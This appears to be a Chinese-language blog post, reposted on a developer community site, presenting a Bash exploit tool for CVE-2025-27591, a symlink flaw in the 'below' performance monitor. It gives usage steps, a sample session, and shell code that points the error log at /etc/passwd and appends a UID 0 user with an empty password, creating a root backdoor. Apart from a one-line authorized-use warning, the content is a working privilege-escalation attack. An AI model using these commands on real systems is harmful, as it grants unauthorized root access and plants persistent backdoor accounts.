
CVE-2025-27591 Below日志符号链接攻击利用工具
本项目是一个基于Bash的权限提升漏洞利用脚本,专门针对Facebook开发的系统性能监控工具below。该工具利用below在日志记录机制中存在的一个符号链接漏洞(CVE-2025-27591),通过向/etc/passwd文件注入具有root权限的用户条目,从而获取完整的root系统访问权限。
该漏洞由Matthias Gerstney发现并报告给SUSE安全团队。
根据代码分析,本利用工具具有以下核心功能:
/var/log/below日志目录是否全局可写,这是漏洞存在的必要条件。/var/log/below/error_root.log到/etc/passwd的符号链接。below record命令产生错误日志,该日志会被写入符号链接指向的/etc/passwd文件。脚本随后会手动向/etc/passwd文件尾部追加一个精心构造的用户行,该用户具有root权限(UID=0)和空密码,从而实现提权。below命令不存在时的回退方案),并在利用成功后提供清理已添加用户的指导。此项目为独立的Bash脚本利用工具,无需复杂的安装过程。
系统要求与依赖项:
/etc/passwd和/var/log/below)。below工具,并且其日志目录/var/log/below的权限设置不当(全局可写)。bash环境来执行脚本。/var/log/below目录下创建和删除文件的权限(这通常意味着该目录是全局可写的)。below命令来触发漏洞,并使用了sudo、useradd等系统命令进行权限检查和用户管理。“安装”步骤:
实际上,你只需要获取脚本文件并确保其具有可执行权限即可。
# 1. 克隆或下载脚本文件(假设文件名为 exploit.sh)
# 2. 赋予脚本执行权限
chmod +x exploit.sh
# 3. 在存在漏洞的环境中执行
./exploit.sh重要警告:此脚本仅用于授权下的安全测试、教育和研究目的。在未经许可的系统上使用是非法且不道德的。
执行脚本后,它会引导你完成整个利用过程。
below记录错误。/etc/passwd文件注入具有root权限的用户。su命令切换到root权限。/etc/passwd文件,删除添加的那一行以进行清理。典型使用场景代码片段提示:
脚本运行后,你会看到类似以下的交互过程(具体输出取决于脚本内容):
$ ./exploit.sh
[+] Welcome to the CVE-2025-27591 exploit!
[?] Please enter your desired backdoor username: testroot
[+] Checking if /var/log/below is world-writable...
[+] Directory is vulnerable!
[+] Removing existing error_root.log...
[+] Creating symlink from error_root.log to /etc/passwd...
[+] Triggering below record to write to symlink...
[+] Manually injecting user entry into /etc/passwd...
[+] Exploit successful! User 'testroot' added with UID 0.
[+] Spawn root shell with: su testroot
[!] Remember to remove the added line from /etc/passwd after exploitation.由于提供的代码片段不完整,无法展示完整的核心代码及其注释。但根据项目描述和功能分析,其核心逻辑主要围绕以下几个关键操作,我们可以用伪代码和说明来概括:
1. 漏洞条件检查
# 检查日志目录是否全局可写,这是攻击的前提
if [ -w /var/log/below ] && [ $(stat -c %a /var/log/below) -ge 722 ]; then
echo "[+] Directory is vulnerable!"
else
echo "[-] Exploit condition not met. Exiting."
exit 1
fi2. 创建符号链接
# 移除可能存在的旧日志文件,创建指向/etc/passwd的符号链接
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
# 验证链接是否创建成功
if [ -L /var/log/below/error_root.log ]; then
echo "[+] Symlink created successfully."
fi3. 触发漏洞并注入用户
# 尝试运行below命令以触发错误日志写入(写入符号链接指向的/etc/passwd)
below record 2>/dev/null || true
# 关键步骤:手动向/etc/passwd文件尾部追加一个root用户条目
# 格式:username:password:UID:GID:comment:home:shell
# 这里使用“::”表示空密码字段,UID为0表示root权限。
echo "$BACKDOOR_USER::0:0::/root:/bin/bash" >> /etc/passwd
echo "[+] User '$BACKDOOR_USER' injected into /etc/passwd with UID 0."4. 提权与清理提示
# 提示用户如何使用新创建的用户获得root shell
echo "[+] To gain root access, run: su $BACKDOOR_USER"
# 在密码提示符下直接按回车(因为密码字段为空)。
echo "[!] IMPORTANT: After successful exploitation, manually edit /etc/passwd to remove the line for '$BACKDOOR_USER'."代码注释要点:
# 创建符号链接,将日志错误重定向到系统密码文件”。ln -s或echo >>命令是否执行成功。below命令是否存在的检查,并提供替代的触发方法(如直接向文件写入特定内容模拟错误日志)。
6HFtX5dABrKlqXeO5PUv/9bhuFNUCg+u49PD61kHBnrwPPyofXGUNXhJ6l7AddsFDFtkcTtjRSv8RaXpQxzLag==原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。